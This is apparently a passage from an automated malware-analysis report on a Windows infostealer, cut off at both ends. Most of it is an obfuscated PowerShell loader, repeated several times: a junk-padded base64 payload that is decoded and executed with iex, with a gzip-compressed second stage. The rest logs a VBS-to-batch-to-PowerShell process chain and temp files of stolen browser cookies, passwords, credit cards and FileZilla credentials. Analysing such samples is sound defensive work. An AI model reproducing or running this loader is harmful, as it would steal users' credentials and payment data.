QA7AjkemhazxgpCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUAjkemhazxgpdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBjkemhazxgplAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACjkemhazxgpQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZjkemhazxgpQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTjkemhazxgpAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4jkemhazxgpAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgjkemhazxgpBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAjkemhazxgpFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkAjkemhazxgpbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBjkemhazxgpvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGjkemhazxgp0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXjkemhazxgpQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApjkemhazxgpACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgjkemhazxgpAKQAKAA=='.Replace('jkemhazxgp','')))))""" (UID: 00000000-00005280)58:T1989,Process "powershell.exe" with commandline "" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBjkemhazxgp2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFjkemhazxgpwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVjkemhazxgpABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBujkemhazxgpAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUjkemhazxgpAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAjkemhazxgpA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AjkemhazxgpDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AjkemhazxgpKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAjkemhazxgpkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADjkemhazxgpEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcjkemhazxgpwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwjkemhazxgpAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4jkemhazxgpAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQjkemhazxgpAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAjkemhazxgpF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAjkemhazxgpKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABjkemhazxgpyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACjkemhazxgpAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIjkemhazxgpgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdAByjkemhazxgpAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIjkemhazxgpAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwjkemhazxgpB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAjkemhazxgpDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AjkemhazxgpUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAjkemhazxgppADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHjkemhazxgpcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbjkemhazxgpABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8jkemhazxgpACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4jkemhazxgpAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQjkemhazxgpAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAjkemhazxgpCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAjkemhazxgpNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABjkemhazxgpsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGjkemhazxgpwAYQBjAGUAIgBrAGkAdwBpAGwAZQBtAG8AbjkemhazxgpgAiACwAIgAiAC0AcgBlAHAAbABhAGMAZQAijkemhazxgpAHIAdwBoAGkAYQBzAHcAeQBvAGoAbgB0AG0jkemhazxgpAeQB0ACIALAAiACIAKQA7AGkAZgAoACQAYQjkemhazxgpBwAHAAbABlACkAewB0AHIAeQB7AGkAZQB4AjkemhazxgpCgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAjkemhazxgpbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBjkemhazxgpHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAGjkemhazxgp4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYjkemhazxgpQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhjkemhazxgpAHAAcABsAGUAKQApACkAfQBjAGEAdABjAGgjkemhazxgpAewB9AH0AfQAKACQAbwByAGEAbgBnAGUAPQjkemhazxgpAnAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAjkemhazxgpEEASgBWAFUAYQAyACsAYgBNAEIAVAA5AEsAjkemhazxgpOQBiAEUARgBOAGcAeQBxADQAOQBwADcAUgBjkemhazxgpMAHgASQBhAEcAdgByAE8AMABhAEoAZQBrAHjkemhazxgpEATABhADAAbQBBADUAZgBFAEEAVwB4AG0ATjkemhazxgpwB5AFIAcwA2AG4AKwBmAE0AZQBUAFIAdABGjkemhazxgpAG8AMwBQAGkAQwA0AFAAdQBmAGMANgArAE4jkemhazxgpANwBiAFUAVwBGAEEASQA1AGMAWgBBAEgATAjkemhazxgpBXADcAZgBEADAAOABIAFgAegB2AFYAcAAyAjkemhazxgpDAAbwBnAEoAcgBrAE8AdgAvAEYAYQA5ADcAjkemhazxgpYwBTAGgATAB5ADMARABQAEsAZQA4AEEARAAjkemhazxgp3AFIATAAxAHAAUgAzAE0AVwBLAE0AbwBaAFjkemhazxgpcAawBEAEkAYgBTAHMAagBnAHEAUQAvAGMAajkemhazxgpQBLAGMAMwAwAGcALwBGAGcARgBaAC8AcgBujkemhazxgpAGoAWQBTAEUAVgBwAEgAZwBJAHcAVgB4AFEjkemhazxgpAVgBXAEIAUABGAEoAbgBpAEUAMABHAHkAYQjkemhazxgpBZAEUANwBJAEIAOQBhAEwAVQA4AEEAVQBXAjkemhazxgpEEANwA3AFcAMABtAHYAdQBZAGgAdgBFAEwAjkemhazxgpMwBhAEQAWQBGAFUAUQBKAEwAbABhADcAMwBjkemhazxgpWAEsAQgBQAHcAcABDAHkAeQBTAHMAYQBOAGjkemhazxgpEAbwBXADYAVgA5ADYAdwA2AE8AbgBNAHAAZjkemhazxgpABRAHIAQwBVADgAegBuAEkAUQBTAGcAUABQjkemhazxgpAEIARQArADcAUgBNAEsAbgBqADAATQBsAE4jkemhazxgpATgA5AHUAcwBGADUALwAvADMAegBJACsAcwjkemhazxgpBjAEgAWABaAEgAZQBEAG0AaABuAGMAVQBtAjkemhazxgpFAAUgB4ACsAbgA1ADEASAArAC8AaQBMAG8AjkemhazxgpZgAvAGEAKwB6AEkANAB2AHoAbgBqAFEAUAAjkemhazxgp0ADcAZAB4AHMANQBlAGUAOQAvACsASwBjAFjkemhazxgpYANQBiACsAOABnAEoAVQBkADMAaAAvAEUAcjkemhazxgpwA2AGsAYgBoAGQAegBiAHoAcgBnADgAWAA3jkemhazxgpAGwAbwB1AGgATQBCAHMAVABSAGoAcgAxACsjkemhazxgpAcQBWAHYAeQBlAHIAeABaAFgAUgBBAHQAUgjkemhazxgpBjAHMAQQByADYAaABJAGwASABnAGoAQQBaAjkemhazxgpGMAWgBHAGUAVQBVAGEAUwBiAHMASwBEAGUAjkemhazxgpTwB1AEUAbQAyAGkAdgBpAFQAYQAvACsAQQBjkemhazxgpyAFkAUgBFADEAZgBLAGcARwBmAFUASgBsAHjkemhazxgpgAKwBlAHgAbwBkADgASwBiAFEAdABxAFAANjkemhazxgpgA3AFkAUwAwAHMALwBqADUAMwAzADEAawA2jkemhazxgpAFYAeQA0AG4ANgBGAHgAWQBjAGIAZgB3AGEjkemhazxgpAQgBRAHIAVgB0AHYAUgB0ADgARABTAGsAWAjkemhazxgpBoAGYAWQBLAFMARwBvADMAdAA1AGgAVgBGAjkemhazxgpGoAOABGAE4AbgArAGQAVwBWAGUANgBqAE4AjkemhazxgpagAwAFoAYgBEAEgAMAAwAHkAQQBsAEwAcABjkemhazxgpJAGYAUAA2AGQAWgBuAFgAQwBxAHIASQBtAEjkemhazxgpcAdQA5AEEAdAByADcAcgBIAHQATQBIAFUAYjkemhazxgpwBlAGMAcgBXAFEAYQBtAEIAVQBqAFAAVQBtjkemhazxgpAG0AegBpAGMAcgBPADMAYQBaAFIATAB0AEIjkemhazxgpAdwAzAG8ANQBPAE8ASQBkAEkAVQBpAGgAZwjkemhazxgpB4AHQAMwA0ADQASgBtADIAMABkAGEAZgBSAjkemhazxgpDUAcwBHAFMAMwBKAEwASQA3AFgAWABUAG0AjkemhazxgpQQBLAEEARgBEAHgAUgAwAHAASQBmAFcAVABjkemhazxgpRAHUALwBrAGkAcABQAFEASAB2AHUARgBnAHjkemhazxgpYASABEAHcAegBQAEQAVwBWAGgARQAzAEsAMjkemhazxgpgBFADgAQwBsAFQAbwB1AGgAegB5AHQAVABXjkemhazxgpAEkAdQA2AHgAbgBNAGQAZwBXADIAeQBlAEojkemhazxgpASwB1AGUAcQBvAHAAbwBQADEAcABUAEwAaAjkemhazxgpBXACsANwBlAEUAQgBXAGUAagAzAEgAVwBVAjkemhazxgpGgAWAA0AHkAbwBTAHEAQwA4AHIAcwB3AEYAjkemhazxgpMQBiAGIAbQB3AGQATABmAFQATABpADIALwBjkemhazxgpvAHcAbQBwAGMAYwBEAEkARwBFAG4AUwBVAGjkemhazxgpEAdwBWAEgAYQBGAGQAZgBBAHcAUwA2AGkAejkemhazxgpQB4ADYAYwBzAHAANABJAHoAYgBVADAANQBajkemhazxgpAFAAcQBJAHIAeQBnAEQAcAA2ADMAYgBIAFUjkemhazxgpAZwB3AFIAYgBhAGwAZgBMAGIAawBpAEQASgjkemhazxgpBVAHEAVAB2AEkARwBFAEsAagAxAFIASQBlAjkemhazxgpEsAaQBLAFUAdgBLAE4AcQBhAGoAZABhAEwAjkemhazxgpZABSAHcAbgBCAEoAZwBVAEcAWgB2AHMAMQAjkemhazxgp4AFQAUABuAEYAWAA0AEwAawB2AHEALwBFADjkemhazxgpkAcgBIAHcAcABIADEALwBuAGkAcwAzAGYANjkemhazxgpAA2AE0AbABrADIATAB1AGoAaQB0AFEANgBhjkemhazxgpAE8AaAAxADkAVQAyADcAdgBWAHMAVwB3AFgjkemhazxgpAeABKADUARgByAEoAZwBMAFoANQBYADIATAjkemhazxgpA3AFAARgBmADcAZwBtAGoATwBOADUANwBjAjkemhazxgpEIAegBOAGoAZgBJAFoALwAxAC8AcQB2AHEAjkemhazxgpRwBXAFAAWQBLAHEAMwBNAGkAYwBVAEIAMABjkemhazxgpwAEYAWgBIAGQAMwBGAFMATQA3AE0AYgBiAGjkemhazxgpQAOQBxAEYAOQBoACsAMABaADEAeABpAFQAZjkemhazxgpwBZAEEAQQBBAD0APQAnADsAJABtAGEAbgBnjkemhazxgpAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADojkemhazxgpARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgjkemhazxgpBpAG4AZwAoACQAbwByAGEAbgBnAGUAKQA7AjkemhazxgpCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUAjkemhazxgpdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBjkemhazxgplAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACjkemhazxgpQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZjkemhazxgpQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTjkemhazxgpAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4jkemhazxgpAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgjkemhazxgpBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAjkemhazxgpFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkAjkemhazxgpbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBjkemhazxgpvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGjkemhazxgp0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXjkemhazxgpQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApjkemhazxgpACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgjkemhazxgpAKQAKAA=='.Replace('jkemhazxgp','')))))""" (UID: 00000000-00005280)59:T69f,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_k1fbvpen.52z.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fya3b455.tt3.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_x4vqxuu2.sy5.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_1f3jov3m.icd.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\5801ecc3ac68f7ef104796fdde53a902\Chromium_cookies_PREGjB55ZdRvb6m_2025-10-11_20.43.41.json" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\5801ecc3ac68f7ef104796fdde53a902\Chromium_credit_cards_PREGjB55ZdRvb6m_2025-10-11_20.43.41.txt" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\5801ecc3ac68f7ef104796fdde53a902\Chromium_passwords_PREGjB55ZdRvb6m_2025-10-11_20.43.41.txt" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\5801ecc3ac68f7ef104796fdde53a902\FileZilla_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\5801ecc3ac68f7ef104796fdde53a902\Gecko_cookies_PREGjB55ZdRvb6m_2025-10-11_20.46.20.json" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\5801ecc3ac68f7ef104796fdde53a902\Gecko_credit_cards_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\5801ecc3ac68f7ef104796fdde53a902\Gecko_passwords_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt" with delete access5a:T1961,"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBjkemhazxgp2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFjkemhazxgpwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVjkemhazxgpABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBujkemhazxgpAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUjkemhazxgpAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAjkemhazxgpA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AjkemhazxgpDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AjkemhazxgpKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAjkemhazxgpkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADjkemhazxgpEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcjkemhazxgpwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwjkemhazxgpAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4jkemhazxgpAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQjkemhazxgpAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAjkemhazxgpF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAjkemhazxgpKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABjkemhazxgpyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACjkemhazxgpAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIjkemhazxgpgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdAByjkemhazxgpAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIjkemhazxgpAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwjkemhazxgpB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAjkemhazxgpDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AjkemhazxgpUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAjkemhazxgppADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHjkemhazxgpcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbjkemhazxgpABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8jkemhazxgpACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4jkemhazxgpAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQjkemhazxgpAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAjkemhazxgpCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAjkemhazxgpNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABjkemhazxgpsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGjkemhazxgpwAYQBjAGUAIgBrAGkAdwBpAGwAZQBtAG8AbjkemhazxgpgAiACwAIgAiAC0AcgBlAHAAbABhAGMAZQAijkemhazxgpAHIAdwBoAGkAYQBzAHcAeQBvAGoAbgB0AG0jkemhazxgpAeQB0ACIALAAiACIAKQA7AGkAZgAoACQAYQjkemhazxgpBwAHAAbABlACkAewB0AHIAeQB7AGkAZQB4AjkemhazxgpCgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAjkemhazxgpbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBjkemhazxgpHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAGjkemhazxgp4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYjkemhazxgpQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhjkemhazxgpAHAAcABsAGUAKQApACkAfQBjAGEAdABjAGgjkemhazxgpAewB9AH0AfQAKACQAbwByAGEAbgBnAGUAPQjkemhazxgpAnAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAjkemhazxgpEEASgBWAFUAYQAyACsAYgBNAEIAVAA5AEsAjkemhazxgpOQBiAEUARgBOAGcAeQBxADQAOQBwADcAUgBjkemhazxgpMAHgASQBhAEcAdgByAE8AMABhAEoAZQBrAHjkemhazxgpEATABhADAAbQBBADUAZgBFAEEAVwB4AG0ATjkemhazxgpwB5AFIAcwA2AG4AKwBmAE0AZQBUAFIAdABGjkemhazxgpAG8AMwBQAGkAQwA0AFAAdQBmAGMANgArAE4jkemhazxgpANwBiAFUAVwBGAEEASQA1AGMAWgBBAEgATAjkemhazxgpBXADcAZgBEADAAOABIAFgAegB2AFYAcAAyAjkemhazxgpDAAbwBnAEoAcgBrAE8AdgAvAEYAYQA5ADcAjkemhazxgpYwBTAGgATAB5ADMARABQAEsAZQA4AEEARAAjkemhazxgp3AFIATAAxAHAAUgAzAE0AVwBLAE0AbwBaAFjkemhazxgpcAawBEAEkAYgBTAHMAagBnAHEAUQAvAGMAajkemhazxgpQBLAGMAMwAwAGcALwBGAGcARgBaAC8AcgBujkemhazxgpAGoAWQBTAEUAVgBwAEgAZwBJAHcAVgB4AFEjkemhazxgpAVgBXAEIAUABGAEoAbgBpAEUAMABHAHkAYQjkemhazxgpBZAEUANwBJAEIAOQBhAEwAVQA4AEEAVQBXAjkemhazxgpEEANwA3AFcAMABtAHYAdQBZAGgAdgBFAEwAjkemhazxgpMwBhAEQAWQBGAFUAUQBKAEwAbABhADcAMwBjkemhazxgpWAEsAQgBQAHcAcABDAHkAeQBTAHMAYQBOAGjkemhazxgpEAbwBXADYAVgA5ADYAdwA2AE8AbgBNAHAAZjkemhazxgpABRAHIAQwBVADgAegBuAEkAUQBTAGcAUABQjkemhazxgpAEIARQArADcAUgBNAEsAbgBqADAATQBsAE4jkemhazxgpATgA5AHUAcwBGADUALwAvADMAegBJACsAcwjkemhazxgpBjAEgAWABaAEgAZQBEAG0AaABuAGMAVQBtAjkemhazxgpFAAUgB4ACsAbgA1ADEASAArAC8AaQBMAG8AjkemhazxgpZgAvAGEAKwB6AEkANAB2AHoAbgBqAFEAUAAjkemhazxgp0ADcAZAB4AHMANQBlAGUAOQAvACsASwBjAFjkemhazxgpYANQBiACsAOABnAEoAVQBkADMAaAAvAEUAcjkemhazxgpwA2AGsAYgBoAGQAegBiAHoAcgBnADgAWAA3jkemhazxgpAGwAbwB1AGgATQBCAHMAVABSAGoAcgAxACsjkemhazxgpAcQBWAHYAeQBlAHIAeABaAFgAUgBBAHQAUgjkemhazxgpBjAHMAQQByADYAaABJAGwASABnAGoAQQBaAjkemhazxgpGMAWgBHAGUAVQBVAGEAUwBiAHMASwBEAGUAjkemhazxgpTwB1AEUAbQAyAGkAdgBpAFQAYQAvACsAQQBjkemhazxgpyAFkAUgBFADEAZgBLAGcARwBmAFUASgBsAHjkemhazxgpgAKwBlAHgAbwBkADgASwBiAFEAdABxAFAANjkemhazxgpgA3AFkAUwAwAHMALwBqADUAMwAzADEAawA2jkemhazxgpAFYAeQA0AG4ANgBGAHgAWQBjAGIAZgB3AGEjkemhazxgpAQgBRAHIAVgB0AHYAUgB0ADgARABTAGsAWAjkemhazxgpBoAGYAWQBLAFMARwBvADMAdAA1AGgAVgBGAjkemhazxgpGoAOABGAE4AbgArAGQAVwBWAGUANgBqAE4AjkemhazxgpagAwAFoAYgBEAEgAMAAwAHkAQQBsAEwAcABjkemhazxgpJAGYAUAA2AGQAWgBuAFgAQwBxAHIASQBtAEjkemhazxgpcAdQA5AEEAdAByADcAcgBIAHQATQBIAFUAYjkemhazxgpwBlAGMAcgBXAFEAYQBtAEIAVQBqAFAAVQBtjkemhazxgpAG0AegBpAGMAcgBPADMAYQBaAFIATAB0AEIjkemhazxgpAdwAzAG8ANQBPAE8ASQBkAEkAVQBpAGgAZwjkemhazxgpB4AHQAMwA0ADQASgBtADIAMABkAGEAZgBSAjkemhazxgpDUAcwBHAFMAMwBKAEwASQA3AFgAWABUAG0AjkemhazxgpQQBLAEEARgBEAHgAUgAwAHAASQBmAFcAVABjkemhazxgpRAHUALwBrAGkAcABQAFEASAB2AHUARgBnAHjkemhazxgpYASABEAHcAegBQAEQAVwBWAGgARQAzAEsAMjkemhazxgpgBFADgAQwBsAFQAbwB1AGgAegB5AHQAVABXjkemhazxgpAEkAdQA2AHgAbgBNAGQAZwBXADIAeQBlAEojkemhazxgpASwB1AGUAcQBvAHAAbwBQADEAcABUAEwAaAjkemhazxgpBXACsANwBlAEUAQgBXAGUAagAzAEgAVwBVAjkemhazxgpGgAWAA0AHkAbwBTAHEAQwA4AHIAcwB3AEYAjkemhazxgpMQBiAGIAbQB3AGQATABmAFQATABpADIALwBjkemhazxgpvAHcAbQBwAGMAYwBEAEkARwBFAG4AUwBVAGjkemhazxgpEAdwBWAEgAYQBGAGQAZgBBAHcAUwA2AGkAejkemhazxgpQB4ADYAYwBzAHAANABJAHoAYgBVADAANQBajkemhazxgpAFAAcQBJAHIAeQBnAEQAcAA2ADMAYgBIAFUjkemhazxgpAZwB3AFIAYgBhAGwAZgBMAGIAawBpAEQASgjkemhazxgpBVAHEAVAB2AEkARwBFAEsAagAxAFIASQBlAjkemhazxgpEsAaQBLAFUAdgBLAE4AcQBhAGoAZABhAEwAjkemhazxgpZABSAHcAbgBCAEoAZwBVAEcAWgB2AHMAMQAjkemhazxgp4AFQAUABuAEYAWAA0AEwAawB2AHEALwBFADjkemhazxgpkAcgBIAHcAcABIADEALwBuAGkAcwAzAGYANjkemhazxgpAA2AE0AbABrADIATAB1AGoAaQB0AFEANgBhjkemhazxgpAE8AaAAxADkAVQAyADcAdgBWAHMAVwB3AFgjkemhazxgpAeABKADUARgByAEoAZwBMAFoANQBYADIATAjkemhazxgpA3AFAARgBmADcAZwBtAGoATwBOADUANwBjAjkemhazxgpEIAegBOAGoAZgBJAFoALwAxAC8AcQB2AHEAjkemhazxgpRwBXAFAAWQBLAHEAMwBNAGkAYwBVAEIAMABjkemhazxgpwAEYAWgBIAGQAMwBGAFMATQA3AE0AYgBiAGjkemhazxgpQAOQBxAEYAOQBoACsAMABaADEAeABpAFQAZjkemhazxgpwBZAEEAQQBBAD0APQAnADsAJABtAGEAbgBnjkemhazxgpAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADojkemhazxgpARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgjkemhazxgpBpAG4AZwAoACQAbwByAGEAbgBnAGUAKQA7AjkemhazxgpCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUAjkemhazxgpdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBjkemhazxgplAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACjkemhazxgpQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZjkemhazxgpQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTjkemhazxgpAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4jkemhazxgpAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgjkemhazxgpBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAjkemhazxgpFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkAjkemhazxgpbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBjkemhazxgpvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGjkemhazxgp0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXjkemhazxgpQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApjkemhazxgpACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgjkemhazxgpAKQAKAA=='.Replace('jkemhazxgp','')))))""" on 2025-10-11.20:38:18.7345b:T1b4e,Spawned process "WScript.exe" with commandline ""C:\\Form_1759970159.vbs"" (UID: 00000000-00005700) Spawned process "cmd.exe" with commandline "/c C:\\\\Users\\\\Public\\\\FieldBuilding.bat" (UID: 00000000-00000524) Spawned process "cmd.exe" with commandline "cmd /c start "" /min "%PUBLIC%\\FieldBuilding.bat"" (UID: 00000000-00008436) Spawned process "cmd.exe" with commandline "/K "%PUBLIC%\\FieldBuilding.bat"" (UID: 00000000-00003800) Spawned process "powershell.exe" with commandline "" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBjkemhazxgp2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFjkemhazxgpwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVjkemhazxgpABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBujkemhazxgpAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUjkemhazxgpAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAjkemhazxgpA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AjkemhazxgpDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AjkemhazxgpKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAjkemhazxgpkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADjkemhazxgpEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcjkemhazxgpwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwjkemhazxgpAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4jkemhazxgpAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQjkemhazxgpAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAjkemhazxgpF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAjkemhazxgpKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABjkemhazxgpyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACjkemhazxgpAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIjkemhazxgpgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdAByjkemhazxgpAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIjkemhazxgpAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwjkemhazxgpB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAjkemhazxgpDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AjkemhazxgpUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAjkemhazxgppADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHjkemhazxgpcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbjkemhazxgpABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8jkemhazxgpACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4jkemhazxgpAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQjkemhazxgpAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAjkemhazxgpCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAjkemhazxgpNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABjkemhazxgpsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGjkemhazxgpwAYQBjAGUA